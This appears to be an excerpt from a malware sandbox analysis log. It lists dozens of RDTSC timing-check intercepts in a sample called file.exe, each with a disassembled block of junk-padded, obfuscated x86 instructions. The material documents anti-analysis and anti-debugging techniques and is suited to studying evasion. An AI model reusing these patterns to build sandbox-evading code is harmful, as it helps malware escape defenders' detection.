Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA08D2 second address: 4FA08D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA08D8 second address: 4FA08DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA08DC second address: 4FA08E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA08E0 second address: 4FA0900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB818EDC0D5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0900 second address: 4FA0910 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818BA610Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0910 second address: 4FA0938 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB818EDC0D9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0938 second address: 4FA094D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6111h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA094D second address: 4FA09B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB818EDC0D7h 0x00000009 xor ecx, 2C1B489Eh 0x0000000f jmp 00007FB818EDC0D9h 0x00000014 popfd 0x00000015 jmp 00007FB818EDC0D0h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f jmp 00007FB818EDC0D0h 0x00000024 pop ebp 0x00000025 pushad 0x00000026 push esi 0x00000027 mov ecx, ebx 0x00000029 pop edx 0x0000002a push eax 0x0000002b push edx 0x0000002c mov edx, esi 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5002D second address: 4F500A2 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB818BA6116h 0x00000008 and ax, F5F8h 0x0000000d jmp 00007FB818BA610Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007FB818BA6119h 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FB818BA6116h 0x00000026 adc ecx, 701C5AB8h 0x0000002c jmp 00007FB818BA610Bh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F500A2 second address: 4F500E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 mov edx, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007FB818EDC0CAh 0x00000012 and esp, FFFFFFF8h 0x00000015 jmp 00007FB818EDC0D0h 0x0000001a xchg eax, ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB818EDC0D7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F500E6 second address: 4F50112 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6119h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB818BA610Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50112 second address: 4F50124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818EDC0CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50124 second address: 4F50139 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB818BA610Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50139 second address: 4F5019C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FB818EDC0D4h 0x00000011 add eax, 0D9B9DC8h 0x00000017 jmp 00007FB818EDC0CBh 0x0000001c popfd 0x0000001d jmp 00007FB818EDC0D8h 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FB818EDC0CDh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5019C second address: 4F501B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6111h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F501B1 second address: 4F501D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB818EDC0CDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F501D6 second address: 4F501DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F501DC second address: 4F501E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F501E0 second address: 4F501E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F501E4 second address: 4F501F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 mov edx, ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F501F7 second address: 4F50236 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6113h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FB818BA6116h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB818BA610Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50236 second address: 4F5026F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB818EDC0D1h 0x00000009 sbb ecx, 5A2145C6h 0x0000000f jmp 00007FB818EDC0D1h 0x00000014 popfd 0x00000015 push ecx 0x00000016 pop edi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, esi 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5026F second address: 4F50273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50273 second address: 4F50279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50279 second address: 4F502D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, cl 0x00000005 mov dh, 16h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov esi, dword ptr [ebp+08h] 0x0000000d pushad 0x0000000e mov cx, E82Dh 0x00000012 mov ah, DAh 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007FB818BA6112h 0x0000001b mov dword ptr [esp], edi 0x0000001e jmp 00007FB818BA6110h 0x00000023 test esi, esi 0x00000025 jmp 00007FB818BA6110h 0x0000002a je 00007FB88AB74455h 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 mov bh, 9Ch 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F502D4 second address: 4F502DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F502DA second address: 4F502DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F502DE second address: 4F502E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F502E2 second address: 4F5035E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f pushad 0x00000010 call 00007FB818BA6119h 0x00000015 push esi 0x00000016 pop edi 0x00000017 pop esi 0x00000018 jmp 00007FB818BA610Dh 0x0000001d popad 0x0000001e je 00007FB88AB74415h 0x00000024 pushad 0x00000025 call 00007FB818BA610Ch 0x0000002a pushfd 0x0000002b jmp 00007FB818BA6112h 0x00000030 xor ch, 00000078h 0x00000033 jmp 00007FB818BA610Bh 0x00000038 popfd 0x00000039 pop eax 0x0000003a mov dh, F0h 0x0000003c popad 0x0000003d mov edx, dword ptr [esi+44h] 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5035E second address: 4F50362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50362 second address: 4F50368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50368 second address: 4F503BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d push esi 0x0000000e push edx 0x0000000f pop eax 0x00000010 pop ebx 0x00000011 pushfd 0x00000012 jmp 00007FB818EDC0D6h 0x00000017 xor al, 00000068h 0x0000001a jmp 00007FB818EDC0CBh 0x0000001f popfd 0x00000020 popad 0x00000021 test edx, 61000000h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F503BB second address: 4F503C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F503C1 second address: 4F503F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB818EDC0D8h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007FB88AEAA36Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov ch, dl 0x00000017 mov ecx, 6C793F41h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F503F1 second address: 4F5041A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6117h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [esi+48h], 00000001h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 movsx edx, cx 0x00000013 movzx eax, dx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5041A second address: 4F50420 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F406CA second address: 4F406D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F406D1 second address: 4F406E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 6B69EE9Ah 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F406E2 second address: 4F40719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FB818BA6119h 0x0000000a sub ecx, 292503C6h 0x00000010 jmp 00007FB818BA6111h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40719 second address: 4F40767 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop eax 0x00000011 pushfd 0x00000012 jmp 00007FB818EDC0CFh 0x00000017 add eax, 7C588FAEh 0x0000001d jmp 00007FB818EDC0D9h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40767 second address: 4F4076D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4076D second address: 4F40771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40771 second address: 4F40775 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40775 second address: 4F40796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FB818EDC0CFh 0x0000000f and esp, FFFFFFF8h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40796 second address: 4F4079B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4079B second address: 4F407DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB818EDC0D3h 0x00000009 jmp 00007FB818EDC0D3h 0x0000000e popfd 0x0000000f push esi 0x00000010 pop edx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FB818EDC0D1h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F407DF second address: 4F407EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818BA610Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F407EF second address: 4F407F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F407F3 second address: 4F40802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40802 second address: 4F40806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40806 second address: 4F4080C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4080C second address: 4F408E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB818EDC0D0h 0x00000009 adc cx, 6AA8h 0x0000000e jmp 00007FB818EDC0CBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebx 0x00000018 jmp 00007FB818EDC0D5h 0x0000001d xchg eax, esi 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FB818EDC0D3h 0x00000025 or esi, 31E4FD4Eh 0x0000002b jmp 00007FB818EDC0D9h 0x00000030 popfd 0x00000031 popad 0x00000032 push eax 0x00000033 pushad 0x00000034 jmp 00007FB818EDC0D7h 0x00000039 mov ebx, eax 0x0000003b popad 0x0000003c xchg eax, esi 0x0000003d jmp 00007FB818EDC0D2h 0x00000042 mov esi, dword ptr [ebp+08h] 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 jmp 00007FB818EDC0CDh 0x0000004d pushfd 0x0000004e jmp 00007FB818EDC0D0h 0x00000053 or esi, 3E070688h 0x00000059 jmp 00007FB818EDC0CBh 0x0000005e popfd 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F408E7 second address: 4F40931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6119h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FB818BA610Dh 0x00000012 xor ax, CC56h 0x00000017 jmp 00007FB818BA6111h 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f movzx eax, di 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40931 second address: 4F40946 instructions: 0x00000000 rdtsc 0x00000002 mov cx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 test esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx eax, di 0x00000010 mov di, 3D8Eh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40946 second address: 4F40955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818BA610Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40955 second address: 4F409D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FB88AEB1AF7h 0x0000000e jmp 00007FB818EDC0D5h 0x00000013 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001a jmp 00007FB818EDC0CEh 0x0000001f mov ecx, esi 0x00000021 jmp 00007FB818EDC0D0h 0x00000026 je 00007FB88AEB1ACAh 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f pushfd 0x00000030 jmp 00007FB818EDC0D8h 0x00000035 jmp 00007FB818EDC0D5h 0x0000003a popfd 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F409D7 second address: 4F409FD instructions: 0x00000000 rdtsc 0x00000002 mov ax, 5237h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 test byte ptr [76FA6968h], 00000002h 0x00000010 jmp 00007FB818BA610Ah 0x00000015 jne 00007FB88AB7BACBh 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F409FD second address: 4F40A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40A01 second address: 4F40A1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6119h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40A1E second address: 4F40A7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d movzx eax, bx 0x00000010 mov cx, dx 0x00000013 popad 0x00000014 push esp 0x00000015 jmp 00007FB818EDC0D0h 0x0000001a mov dword ptr [esp], ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FB818EDC0CDh 0x00000026 and al, 00000006h 0x00000029 jmp 00007FB818EDC0D1h 0x0000002e popfd 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40A7A second address: 4F40A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40A7F second address: 4F40B50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b movzx eax, dx 0x0000000e mov edi, 631D7584h 0x00000013 popad 0x00000014 push eax 0x00000015 jmp 00007FB818EDC0CAh 0x0000001a xchg eax, ebx 0x0000001b pushad 0x0000001c push eax 0x0000001d pushfd 0x0000001e jmp 00007FB818EDC0CDh 0x00000023 and ax, 4B76h 0x00000028 jmp 00007FB818EDC0D1h 0x0000002d popfd 0x0000002e pop esi 0x0000002f pushfd 0x00000030 jmp 00007FB818EDC0D1h 0x00000035 add ecx, 3A98BCD6h 0x0000003b jmp 00007FB818EDC0D1h 0x00000040 popfd 0x00000041 popad 0x00000042 push dword ptr [ebp+14h] 0x00000045 jmp 00007FB818EDC0CEh 0x0000004a push dword ptr [ebp+10h] 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 push edi 0x00000051 pop ecx 0x00000052 pushfd 0x00000053 jmp 00007FB818EDC0D9h 0x00000058 xor eax, 1D422F96h 0x0000005e jmp 00007FB818EDC0D1h 0x00000063 popfd 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40B50 second address: 4F40B56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40B56 second address: 4F40B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50E43 second address: 4F50E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 jmp 00007FB818BA6117h 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f movzx esi, dx 0x00000012 mov edx, 6246B654h 0x00000017 popad 0x00000018 pop ebp 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c mov bx, E24Ah 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50BB2 second address: 4F50BB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50BB8 second address: 4F50BF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA610Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushfd 0x00000012 jmp 00007FB818BA6111h 0x00000017 or si, 7B06h 0x0000001c jmp 00007FB818BA6111h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50BF9 second address: 4F50C09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818EDC0CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50C09 second address: 4F50C0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50C0D second address: 4F50C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB818EDC0D8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50C32 second address: 4F50C36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50C36 second address: 4F50C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0737 second address: 4FD075D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6119h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov al, bh 0x00000011 popad 0x00000012 rdtsc
